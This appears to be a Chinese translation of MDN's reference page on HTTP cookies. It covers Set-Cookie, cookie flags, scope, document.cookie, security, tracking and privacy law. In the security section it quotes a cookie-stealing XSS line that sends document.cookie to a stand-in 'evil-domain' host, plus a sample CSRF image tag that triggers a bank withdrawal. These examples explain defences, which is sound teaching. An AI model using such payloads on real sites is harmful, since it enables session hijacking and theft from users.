HTTP Cookie（也叫Web Cookie或浏览器Cookie）是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常，它用于告知服务端两个请求是否来自同一浏览器，如保持用户的登录状态。Cookie使基于[无状态](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless)的HTTP协议记录稳定的状态信息成为了可能。

Cookie主要用于以下三个方面：

* 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
* 个性化设置（如用户自定义设置、主题等）
* 浏览器行为跟踪（如跟踪分析用户行为等）

Cookie曾一度用于客户端数据的存储，因当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie渐渐被淘汰。由于服务器指定Cookie后，浏览器的每次请求都会携带Cookie数据，会带来额外的性能开销（尤其是在移动环境下）。新的浏览器API已经允许开发者直接将数据存储到本地，如使用 [Web storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) （本地存储和会话存储）或 [IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) 。

要查看Cookie存储（或网页上能够使用其他的存储方式），你可以在开发者工具中启用**存储查看**（[Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector) ）功能，并在存储树上选中**Cookie**。

**创建Cookie**[**Edit**](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies$edit#%E5%88%9B%E5%BB%BACookie)

当服务器收到HTTP请求时，服务器可以在响应头里面添加一个[Set-Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie)选项。浏览器收到响应后通常会保存下Cookie，之后对该服务器每一次请求中都通过[Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie)请求头部将Cookie信息发送给服务器。另外，Cookie的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

Set-Cookie响应头部和Cookie请求头部

服务器使用[Set-Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie)响应头部向用户代理（一般是浏览器）发送Cookie信息。一个简单的Cookie可能像这样：

Set-Cookie: <cookie名>=<cookie值>

服务器通过该头部告知客户端保存Cookie信息。

**提示:** 如何在以下几种服务端程序中设置 Set-Cookie 响应头信息 :

* [PHP](https://secure.php.net/manual/en/function.setcookie.php)
* [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value)
* [Python](https://docs.python.org/3/library/http.cookies.html)
* [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)

HTTP/1.0 200 OK

Content-type: text/html

Set-Cookie: yummy\_cookie=choco

Set-Cookie: tasty\_cookie=strawberry

[页面内容]

现在，对该服务器发起的每一次新请求，浏览器都会将之前保存的Cookie信息通过[Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie)请求头部再发送给服务器。

GET /sample\_page.html HTTP/1.1

Host: www.example.org

Cookie: yummy\_cookie=choco; tasty\_cookie=strawberry

会话期Cookie

会话期Cookie是最简单的Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间（Expires）或者有效期（Max-Age）。需要注意的是，有些浏览器提供了会话恢复功能，这种情况下即使关闭了浏览器，会话期Cookie也会被保留下来，就好像浏览器从来没有关闭一样。

持久性Cookie

和关闭浏览器便失效的会话期Cookie不同，持久性Cookie可以指定一个特定的过期时间（Expires）或有效期（Max-Age）。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

**提示：**当Cookie的过期时间被设定时，设定的日期和时间只与客户端相关，而不是服务端。

Cookie的Secure 和HttpOnly 标记

标记为 Secure 的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过Cookie传输，因为Cookie有其固有的不安全性，Secure 标记也无法提供确实的安全保障。从 Chrome 52 和 Firefox 52 开始，不安全的站点（http:）无法使用Cookie的 Secure 标记。

为避免跨域脚本 ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS)) 攻击，通过JavaScript的 [Document.cookie](https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie) API无法访问带有 HttpOnly 标记的Cookie，它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用，那么就应该为其设置 HttpOnly 标记。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

Domain 和 Path 标识定义了Cookie的*作用域：*即Cookie应该发送给哪些URL。

Domain 标识指定了哪些主机可以接受Cookie。如果不指定，默认为[当前文档的主机](https://developer.mozilla.org/en-US/docs/Web/API/Document/location)（**不包含子域名**）。如果指定了Domain，则一般包含子域名。

例如，如果设置 Domain=mozilla.org，则Cookie也包含在子域名中（如developer.mozilla.org）。

Path 标识指定了主机下的哪些路径可以接受Cookie（该URL路径必须存在于请求URL中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。

例如，设置 Path=/docs，则以下地址都会匹配：

* /docs
* /docs/Web/
* /docs/Web/HTTP

SameSite Cookies

SameSite Cookie允许服务器要求某个cookie在跨站请求时不会被发送，从而可以阻止跨站请求伪造攻击（[CSRF](https://developer.mozilla.org/en-US/docs/Glossary/CSRF)）。但目前SameSite Cookie还处于实验阶段，并不是所有浏览器都支持。

JavaScript通过Document.cookies访问Cookie

通过[Document.cookie](https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie)属性可创建新的Cookie，也可通过该属性访问非HttpOnly标记的Cookie。

document.cookie = "yummy\_cookie=choco";

document.cookie = "tasty\_cookie=strawberry";

console.log(document.cookie);

// logs "yummy\_cookie=choco; tasty\_cookie=strawberry"

请留意在[安全](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies#Security)节提到的安全隐患问题，JavaScript可以通过跨站脚本攻击（XSS）的方式来窃取Cookie。

**安全**[**Edit**](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies$edit#%E5%AE%89%E5%85%A8)

当机器处于不安全环境时，切记*不能*通过HTTP Cookie存储、传输敏感信息。

会话劫持和XSS

在Web应用中，Cookie常用来标记用户或授权会话。因此，如果Web应用的Cookie被窃取，可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行[XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS)攻击。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造（CSRF）

[维基百科](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery)已经给了一个比较好的[CSRF](https://developer.mozilla.org/en-US/docs/Glossary/CSRF)例子。比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的HTML页面时，如果你之前已经登录了你的银行帐号并且Cookie仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生：

* 对用户输入进行过滤来阻止[XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS)；
* 任何敏感操作都需要确认；
* 用于敏感信息的Cookie只能拥有较短的生命周期；
* 更多方法可以查看[OWASP CSRF prevention cheat sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)。

**追踪和隐私**[**Edit**](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies$edit#%E8%BF%BD%E8%B8%AA%E5%92%8C%E9%9A%90%E7%A7%81)

第三方Cookie

每个Cookie都会有与之关联的域（Domain），如果Cookie的域和页面的域相同，那么我们称这个Cookie为*第一方Cookie*（*first-party cookie*），如果Cookie的域和页面的域不同，则称之为*第三方Cookie*（*third-party cookie*.）。一个页面包含图片或存放在其他域上的资源（如图片广告）时，第一方的Cookie也只会发送给设置它们的服务器。通过第三方组件发送的第三方Cookie主要用于广告和网络追踪。这方面可以看谷歌使用的Cookie类型（[types of cookies used by Google](https://www.google.com/policies/technologies/types/)）。大多数浏览器默认都允许第三方Cookie，但是可以通过附加组件来阻止第三方Cookie（如[EFF](https://www.eff.org/)的[Privacy Badger](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/)）。

如果你没有公开你网站上第三方Cookie的使用情况，当它们被发觉时用户对你的信任程度可能受到影响。一个较清晰的声明（比如在隐私策略里面提及）能够减少或消除这些负面影响。在某些国家已经开始对Cookie制订了相应的法规，可以查看维基百科上例子[cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement)。

禁止追踪Do-Not-Track

虽然并没有法律或者技术手段强制要求使用[DNT](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/DNT)，但是通过[DNT](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/DNT)可以告诉Web程序不要对用户行为进行追踪或者跨站追踪。查看[DNT](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/DNT)以获取更多信息。

欧盟Cookie指令

关于Cookie，欧盟已经在[2009/136/EC指令](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136)中提了相关要求，该指令已于2011年5月25日生效。虽然指令并不属于法律，但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然，各国实际制定法律会有所差别。

该欧盟指令的大意：在征得用户的同意之前，网站不允许通过计算机、手机或其他设备存储、检索任何信息。自从那以后，很多网站都在网站声明中添加了相关说明，告诉用户他们的Cookie将用于何处。

可以通过[维基百科的相关内容](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive)获取最新的各国法律和更精确的信息。

僵尸Cookie和删不掉的Cookie

Cookie的一个极端使用例子是僵尸Cookie（或称之为“删不掉的Cookie”），这类Cookie较难以删除，甚至删除之后会自动重建。它们一般是使用[Web storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)、Flash本地共享对象或者其他技术手段来达到的。相关内容可以看：

* [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie)
* [在维基百科上查看僵尸Cookie](https://en.wikipedia.org/wiki/Zombie_cookie)

**了解更多**[**Edit**](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies$edit#%E4%BA%86%E8%A7%A3%E6%9B%B4%E5%A4%9A)

* [Set-Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie)
* [Cookie](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie)
* [Document.cookie](https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie)
* [Navigator.cookieEnabled](https://developer.mozilla.org/zh-CN/docs/Web/API/Navigator/cookieEnabled)
* [Inspecting cookies using the Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector)
* [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265)
* [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/)
* [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/)
* [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie)